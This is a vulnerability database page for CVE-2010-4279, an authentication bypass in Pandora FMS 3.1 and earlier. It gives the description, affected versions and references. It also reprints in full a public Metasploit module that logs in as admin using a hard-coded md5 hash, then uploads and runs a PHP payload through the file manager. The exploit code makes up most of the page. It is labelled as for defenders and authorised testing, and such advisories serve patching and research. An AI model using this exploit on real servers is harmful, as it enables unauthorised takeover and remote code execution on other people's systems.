CVE-2010-4279
Description
The default configuration of Pandora FMS 3.1 and earlier specifies an empty string for the loginhash_pwd field, which allows remote attackers to bypass authentication by sending a request to index.php with "admin" in the loginhash_user parameter, in conjunction with the md5 hash of "admin" in the loginhash_data parameter.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Pandora FMS 3.1 - Authentication Bypass / Arbitrary File Upload (Metasploit)
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Pandora v3.1 Auth Bypass and Arbitrary File Upload Vulnerability",
'Description' => %q{
This module exploits an authentication bypass vulnerability in Pandora v3.1 as
disclosed by Juan Galiana Lara. It also integrates with the built-in pandora
upload which allows a user to upload arbitrary files to the '/images/' directory.
This module was created as an exercise in the Metasploit Mastery Class at Blackhat
that was facilitated by egypt and mubix.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Juan Galiana Lara', # Vulnerability discovery
'Raymond Nunez <rcnunez[at]upd.edu.ph>', # Metasploit module
'Elizabeth Loyola <ecloyola[at]upd.edu.ph>', # Metasploit module
'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>', # Metasploit module
'_flood <freshbones[at]gmail.com>', # Metasploit module
'mubix <mubix[at]room362.com>', # Auth bypass and file upload
'egypt <egypt[at]metasploit.com>', # Auth bypass and file upload
],
'References' =>
[
['CVE', '2010-4279'],
['OSVDB', '69549'],
['BID', '45112']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => "Nov 30 2010",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/pandora_console/']),
], self.class)
end
def check
base = target_uri.path
# retrieve software version from login page
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, 'index.php')
})
if res and res.code == 200
#Tested on v3.1 Build PC100609 and PC100608
if res.body.include?("v3.1 Build PC10060")
return Exploit::CheckCode::Appears
elsif res.body.include?("Pandora")
return Exploit::CheckCode::Detected
end
end
return Exploit::CheckCode::Safe
rescue ::Rex::ConnectionError
vprint_error("#{peer} - Connection failed")
end
return Exploit::CheckCode::Unknown
end
# upload a payload using the pandora built-in file upload
def upload(base, file, cookies)
data = Rex::MIME::Message.new
data.add_part(file, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@fname}\"")
data.add_part("Go", nil, nil, 'form-data; name="go"')
data.add_part("images", nil, nil, 'form-data; name="directory"')
data.add_part("1", nil, nil, 'form-data; name="upload_file"')
data_post = data.to_s
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(base, 'index.php'),
'cookie' => cookies,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'vars_get' => {
'sec' => 'gsetup',
'sec2' => 'godmode/setup/file_manager',
},
'data' => data_post
})
register_files_for_cleanup(@fname)
return res
end
def exploit
base = target_uri.path
@fname = "#{rand_text_numeric(7)}.php"
cookies = ""
# bypass authentication and get session cookie
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, 'index.php'),
'vars_get' => {
'loginhash_data' => '21232f297a57a5a743894a0e4a801fc3',
'loginhash_user' => 'admin',
'loginhash' => '1',
},
})
# fix if logic
if res and res.code == 200
if res.body.include?("Logout")
cookies = res.get_cookies
print_status("Login Bypass Successful")
print_status("cookie monster = " + cookies)
else
fail_with(Exploit::Failure::NotVulnerable, "Login Bypass Failed")
end
end
# upload PHP payload to images/[fname]
print_status("#{peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
php = %Q|<?php #{payload.encoded} ?>|
begin
res = upload(base, php, cookies)
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
end
if res and res.code == 200
print_good("#{peer} - File uploaded successfully")
else
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed")
end
# retrieve and execute PHP payload
print_status("#{peer} - Executing payload (images/#{@fname})")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(base, 'images', "#{@fname}")
}, 1)
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
end
end
end
Pandora FMS 3.1 - Authentication Bypass
Metasploit modules
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| artica | pandora_fms | {"endIncluding":"3.1"} | |
| artica | pandora_fms | 1.2 | |
| artica | pandora_fms | 1.3 | |
| artica | pandora_fms | 1.3.1 | |
| artica | pandora_fms | 2.0 | |
| artica | pandora_fms | 2.1 | |
| artica | pandora_fms | 2.1.1 | |
| artica | pandora_fms | 3.0 | |
| artica | pandora_fms | 3.1 | |
References
- http://osvdb.org/69549
- http://packetstormsecurity.com/files/129830/Pandora-3.1-Auth-Bypass-Arbitrary-File-Upload.html
- http://seclists.org/fulldisclosure/2010/Nov/326
- http://secunia.com/advisories/42347
- http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/Final%20version%20%28Stable%29/pandorafms_console-3.1_security_patch_13Oct2010.tar.gz/download
- http://www.exploit-db.com/exploits/15639
- http://www.securityfocus.com/archive/1/514939/100/0/threaded
- http://www.securityfocus.com/bid/45112
- https://www.exploit-db.com/exploits/35731/
- http://osvdb.org/69549
- http://packetstormsecurity.com/files/129830/Pandora-3.1-Auth-Bypass-Arbitrary-File-Upload.html
- http://seclists.org/fulldisclosure/2010/Nov/326
- http://secunia.com/advisories/42347
- http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/Final%20version%20%28Stable%29/pandorafms_console-3.1_security_patch_13Oct2010.tar.gz/download
- http://www.exploit-db.com/exploits/15639
- http://www.securityfocus.com/archive/1/514939/100/0/threaded
- http://www.securityfocus.com/bid/45112
- https://www.exploit-db.com/exploits/35731/
CWEs
CWE-287
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.